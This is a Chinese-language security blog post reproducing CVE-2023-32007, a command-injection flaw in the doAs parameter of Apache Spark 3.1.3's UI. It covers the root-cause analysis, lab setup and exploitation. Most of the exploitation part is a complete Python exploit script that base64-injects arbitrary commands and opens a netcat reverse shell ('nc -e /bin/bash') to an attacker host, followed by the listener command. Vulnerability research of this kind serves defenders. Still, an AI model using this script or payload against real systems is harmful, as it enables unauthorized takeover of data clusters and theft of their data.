CVE-2023-32007漏洞复现及利用

admin 2026-05-19 05:43:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析ApacheSpark的CVE-2023-32007远程命令注入漏洞,该漏洞影响3.1.3等版本,在启用ACL且开放UI时可通过doAs参数执行任意命令。文章通过动态调试揭示漏洞成因,并提供环境搭建、漏洞验证及自动化利用脚本,实战演示反弹shell获取控制权的过程。 综合评分: 88 文章分类: 漏洞分析,WEB安全,实战经验,安全工具,红队


cover_image

CVE-2023-32007漏洞复现及利用

原创

木夕马 木夕马

网络安全研习社

2026年5月18日 14:57 陕西

在小说阅读器读本章

去阅读

 Apache Spark作为主流大数据处理框架具有广泛的应用场景,而CVE-2023-32007远程命令注入漏洞可通过doAs参数执行任意系统命令,利用门槛低,极易造成集群沦陷及内网横向渗透。本文将搭建环境完成漏洞复现与实战利用演示。

01

漏洞介绍

CVE-2023-32007是Apache Spark大数据处理框架中存在的高危远程命令注入漏洞,为CVE-2022-33891的同源补全漏洞,用于修正官方此前对Apache Spark3.1.3等版本不受影响的错误判定。该漏洞仅在Apache Spark服务启用ACL访问控制且对外开放Spark UI的场景下触发。由于Apache Spark的权限过滤组件HttpSecurityFilter对用户可控的doAs身份模拟参数未做任何过滤与转义,攻击者可在url中构造恶意doAs参数,将命令执行payload直接拼接到低层Shell命令中执行。

该漏洞无需登录,无需高权限,仅需能访问Spark UI的低权限或未授权访问者即可发起攻击,成功利用后可以Spark运行身份执行任意系统命令,导致集群服务器被控、核心数据泄露、业务系统篡改或下线,严重威胁大数据平台安全。

02

漏洞产生原因

如下所示,使用命令拼接且没有做任何处理,而在修复的版本中直接删除了ShellBasedGroupsMappingProvider函数中对bash的调用。

接下来进行动态分析。

在Apache spark启用ACL后,会通过HttpSecurityFilter进行权限的校验。首先我们在org.apache.spark.ui.HttpSecurityFilter#doFilter函数处设置一个断点。

在进入函数之后,会提取参数“doAs”的值,然后赋值给effectiveUser,进入org.apache.spark.SecurityManager#checkUIViewPermissions函数。

在spark.security.ShellBasedGroupsMappingProvider#getGroups函数中,我们可以发现username为传入参数。

spark.security.ShellBasedGroupsMappingProvider#getUnixGroups函数如图所示。可以看到username进行了拼接处理,因为我们传入的username参数可控,便形成了命令注入。后续将通过executeAndGetOutput函数直接触发传入的命令,造成命令执行。

03

漏洞利用

  • 环境搭建

CVE-2023-32007是针对此前CVE-2022-33891漏洞的修订,主要内容为发现apache spark的3.1.3版本也受影响,所以在这里下载编译包3.1.3版本:

wget https://archive.apache.org/dist/spark/spark-3.1.3/spark-3.1.3-bin-hadoop2.7.tgztar -zxvf spark-3.1.3-bin-hadoop2.7.tgz

切换到解压包目录下,执行以下命令启动Apache spark项目:

./bin/spark-shell --conf spark.acls.enable=true

如图所示,启动服务后,可以看到web页面的地址,用攻击机进行访问

  • 漏洞验证

在上面的分析中,我们讲到,程序在进入doFilter函数之后,首先会提取参数“doAs”的值,然后赋值给effectiveUser。而最后username会作为传入参数,并在函数org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups里面进行拼接处理,这样就形成了我们的命令注入。

在这里,我们首先尝试直接使用反单引号和doAs进行一个简单的注入。输入网址http://192.168.218.131:4040/jobs/?doAs=mate-calc,成功打开了计算器,说明注入成功,漏洞存在。

  • Getshell

在上一步中,我们进行了一个简单的命令注入,接下来考虑把命令换为反弹shell,实现远程操控,并编写脚本进行攻击。

攻击机ip:192.168.218.132

靶机ip:192.168.218.131

攻击代码如下:

import requestsimport argparseimport base64import datetime
parser = argparse.ArgumentParser(description='CVE-2023-32007 Python POC Exploit Script')parser.add_argument('-u', '--url', help='URL to exploit.', required=True)parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')parser.add_argument('-lp', '--listeningport', help='Your listening host port.')parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")args = parser.parse_args()full_url = f"{args.url}:{args.port}"
def&nbsp;check_for_vuln(url):&nbsp;&nbsp;print("[*] Attempting to connect to site...")&nbsp; r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)&nbsp;&nbsp;if&nbsp;r.status_code !=&nbsp;403:&nbsp; &nbsp; &nbsp;&nbsp;print("[-] Does not look like an Apache Spark server.")&nbsp; &nbsp; &nbsp; quit(1)&nbsp;&nbsp;elif&nbsp;"org.apache.spark.ui"&nbsp;not&nbsp;in&nbsp;r.content.decode("utf-8"):&nbsp; &nbsp; &nbsp;&nbsp;print("[-] Does not look like an Apache Spark server.")&nbsp; &nbsp; &nbsp; quit(1)&nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp;&nbsp;print("[*] Performing sleep test of 10 seconds...")&nbsp; &nbsp; &nbsp; t1 = datetime.datetime.now()&nbsp; &nbsp; &nbsp; run_cmd("sleep 10")&nbsp; &nbsp; &nbsp; t2 = datetime.datetime.now()&nbsp; &nbsp; &nbsp; delta = t2-t1&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;delta.seconds <&nbsp;10:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] Sleep was less than 10. This target is probably not vulnerable")&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] Sleep was 10 seconds! This target is probably vulnerable!")&nbsp; &nbsp; &nbsp; exit(0)&nbsp; &nbsp; &nbsp;&nbsp;def&nbsp;cmd_prompt():&nbsp;&nbsp;# Provide user with cmd prompt on loop to run commands &nbsp;&nbsp; cmd =&nbsp;input("> ")&nbsp;&nbsp;return&nbsp;cmd&nbsp;&nbsp;def&nbsp;base64_encode(cmd):&nbsp; message_bytes = cmd.encode('ascii')&nbsp; base64_bytes = base64.b64encode(message_bytes)&nbsp; base64_cmd = base64_bytes.decode('ascii')&nbsp;&nbsp;return&nbsp;base64_cmd&nbsp;&nbsp;def&nbsp;run_cmd(cmd):&nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp;&nbsp;# Execute given command from cmd prompt&nbsp; &nbsp; &nbsp;&nbsp;#print("[*] Command is: " + cmd)&nbsp; &nbsp; &nbsp; base64_cmd = base64_encode(cmd)&nbsp; &nbsp; &nbsp;&nbsp;#print("[*] Base64 command is: " + base64_cmd)&nbsp; &nbsp; &nbsp; exploit =&nbsp;f"/?doAs=`echo&nbsp;{base64_cmd}&nbsp;| base64 -d | bash`"&nbsp; &nbsp; &nbsp; exploit_req =&nbsp;f"{full_url}{exploit}"&nbsp; &nbsp; &nbsp;&nbsp;print("[*] Full exploit request is: "&nbsp;+ exploit_req)&nbsp; &nbsp; &nbsp; requests.get(exploit_req, allow_redirects=False)&nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp;&nbsp;print(str(e))&nbsp; &nbsp; &nbsp;&nbsp;def&nbsp;revshell(lhost, lport):&nbsp;&nbsp;print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -lvvp&nbsp;{lport}")&nbsp;&nbsp;input("[!] When your listener is set up, press enter!")&nbsp; rev_shell_cmd =&nbsp;f"nc -e /bin/bash&nbsp;{lhost}&nbsp;{lport}"&nbsp; run_cmd(rev_shell_cmd)&nbsp;&nbsp;def&nbsp;main():&nbsp;&nbsp;if&nbsp;args.check&nbsp;and&nbsp;args.revshell:&nbsp; &nbsp; &nbsp;&nbsp;print("[!] Please choose either revshell or check!")&nbsp; &nbsp; &nbsp; exit(1)&nbsp;&nbsp;elif&nbsp;args.check:&nbsp; &nbsp; &nbsp; check_for_vuln(full_url)&nbsp;&nbsp;# Revshell&nbsp;&nbsp;elif&nbsp;args.revshell:&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;(args.listeninghost&nbsp;and&nbsp;args.listeningport):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[x] You need a listeninghost and listening port!")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit(1)&nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lhost = args.listeninghost&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lport = args.listeningport&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; revshell(lhost,lport)&nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp;&nbsp;# "Interactive" mode&nbsp; &nbsp; &nbsp;&nbsp;print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")&nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; command_to_run = cmd_prompt()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; run_cmd(command_to_run)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; main()

该脚本支持输入靶机ip、服务端口、攻击机ip以及监听端口,并实现自动化的攻击。默认情况下注入的命令为nc -e /bin/bash {lhost} {lport}。同时,该脚本也支持自主输入要注入的命令,只需要在选择参数时忽略–revshell即可。接下来进行具体的攻击,首先运行cve-2023-32007.py

根据提示,另外开启一个终端,对22222端口进行监听:

nc&nbsp;-lvvp&nbsp;22222

结果如下图所示,输入ifconfig命令,发现是靶机的shell,说明注入成功。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全研习社 木夕马 木夕马《CVE-2023-32007漏洞复现及利用》

评论:0   参与:  0